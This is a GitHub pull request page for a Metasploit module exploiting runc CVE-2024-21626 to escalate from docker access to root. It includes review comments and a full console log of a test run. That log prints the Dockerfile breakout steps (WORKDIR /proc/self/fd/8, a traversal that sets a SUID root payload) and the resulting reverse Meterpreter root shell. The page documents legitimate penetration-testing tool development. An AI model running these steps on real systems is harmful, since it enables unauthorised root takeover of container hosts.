Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

runc cwd priv esc (docker) (cve-2024-21626) #18780

Merged
merged 2 commits into from Feb 5, 2024
Merged

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Feb 1, 2024

fixes #18777

This PR adds a new LPE to take advantage of the vulnerability disclosed yesterday. A user w/ docker privileges and a vulnerable runc (ubuntu 18.04, 20.04, 22.04, 22.10) is able to use a file descriptor within a docker image to mount the root file system. Once we do that, we chmod and suid our payload and can become root on the host.

Verification

List the steps needed to make sure this thing works

  • Install the application
  • Start msfconsole
  • Get an initial session
  • Do: use exploit/linux/local/runc_cwd_priv_esc
  • Do: set session [session]
  • Do: run
  • You should get a root shell.

Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @h00die for this great module! I just left a few minor comments. I tested against an old Kali Linux (Debian-based with runc version 1.1.10+ds1) and it works great.
However, I noticed a long delay after the payload has been executed and before the session is available. I managed to get rid of this delay by setting the MeterpreterTryToFork option to true.

modules/exploits/linux/local/runc_cwd_priv_esc.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/runc_cwd_priv_esc.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/runc_cwd_priv_esc.rb Outdated Show resolved Hide resolved
output.each_line { |line| vprint_status line.chomp }

# delete our docker image
if output =~ /Successfully built ([a-z0-9]+)$/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a big deal, but to avoid having to parse the output for the image ID, you can also add an image name when building with the -t flag:

docker build -t image_name .

and then, you can use it to delete the image:

docker image rm image_name

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I had thought about this, but then we'd want to make it random. If it's random, theres a (very very small) chance of a collision, so we'd want to check that first. Then I decided that a random string is basically what we get anyways because its a hash, so may as well just go with the flow

Comment on lines +84 to +85
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture: python
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a bit odd: while it's indeed a python-powered session, it's a meterpreter one, and this module is explicitly compatible with meterpreter sessions.

modules/exploits/linux/local/runc_cwd_priv_esc.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/runc_cwd_priv_esc.rb Outdated Show resolved Hide resolved
@cdelafuente-r7
Copy link
Contributor

Thanks for updating this @h00die ! Everything looks good to me now. I tested against runc version 1.1.10+ds1 on Kali Linux and verified I got a session as the root user. I'll go ahead and land it.

  • Example output:
msf6 exploit(linux/local/runc_cwd_priv_esc) > run lhost=192.168.128.1 session=4 verbose=true lport=5555 ForceExploit=true

[*] Started reverse TCP handler on 192.168.128.1:5555
[!] SESSION may not be compatible with this module:
[!]  * incompatible session architecture: python
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The target is not exploitable. Check method only available for Ubuntu systems ForceExploit is enabled, proceeding with exploitation.
[*] Creating directory /tmp/.nFkCA0N0a1
[*] /tmp/.nFkCA0N0a1 created
[*] Uploading Payload to /tmp/.nFkCA0N0a1/.zsZ2Bn4XMQ
[*] Uploading Dockerfile to /tmp/.nFkCA0N0a1/Dockerfile
[*] Building from Dockerfile to set our payload permissions
[*] Sending build context to Docker daemon  3.072kB
[*] Step 1/3 : FROM alpine:latest
[*]  ---> 05455a08881e
[*] Step 2/3 : WORKDIR /proc/self/fd/8
[*]  ---> Using cache
[*]  ---> 997a61caf6f2
[*] Step 3/3 : RUN cd ../../../../../../../../ && chmod -R 777 tmp/.nFkCA0N0a1 && chown -R root:root tmp/.nFkCA0N0a1 && chmod u+s tmp/.nFkCA0N0a1/.zsZ2Bn4XMQ
[*]  ---> Running in 15784ec7cf2d
[*] Removing intermediate container 15784ec7cf2d
[*]  ---> 74af96382bfe
[*] Successfully built 74af96382bfe
[*] Removing created docker image 74af96382bfe
[*] Deleted: sha256:74af96382bfef68f549906fb99d90fcfee026b9f2eb741607eee5b555f386b9f
[*] Payload permissions set, executing payload (/tmp/.nFkCA0N0a1/.zsZ2Bn4XMQ)...
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.128.100
[+] Deleted /tmp/.nFkCA0N0a1/.zsZ2Bn4XMQ
[+] Deleted /tmp/.nFkCA0N0a1/Dockerfile
[+] Deleted /tmp/.nFkCA0N0a1
[*] Meterpreter session 8 opened (192.168.128.1:5555 -> 192.168.128.100:33532) at 2024-02-05 13:05:02 +0100

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : 192.168.128.100
OS           : Debian  (Linux 6.5.0-kali3-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux

@cdelafuente-r7 cdelafuente-r7 merged commit d546db6 into rapid7:master Feb 5, 2024
35 checks passed
@cdelafuente-r7 cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Feb 5, 2024
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds a local privilege escalation exploit that leverages an internal file descriptor leak in runc versions prior to 1.1.12. An attacker with docker privileges is able write an arbitrary file on the host file system with the permissions of runc (typically root). With this, the module uploads a payload, sets the execute and the SUID permissions to escalate privileges.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

Add exploit for CVE-2024-21626
3 participants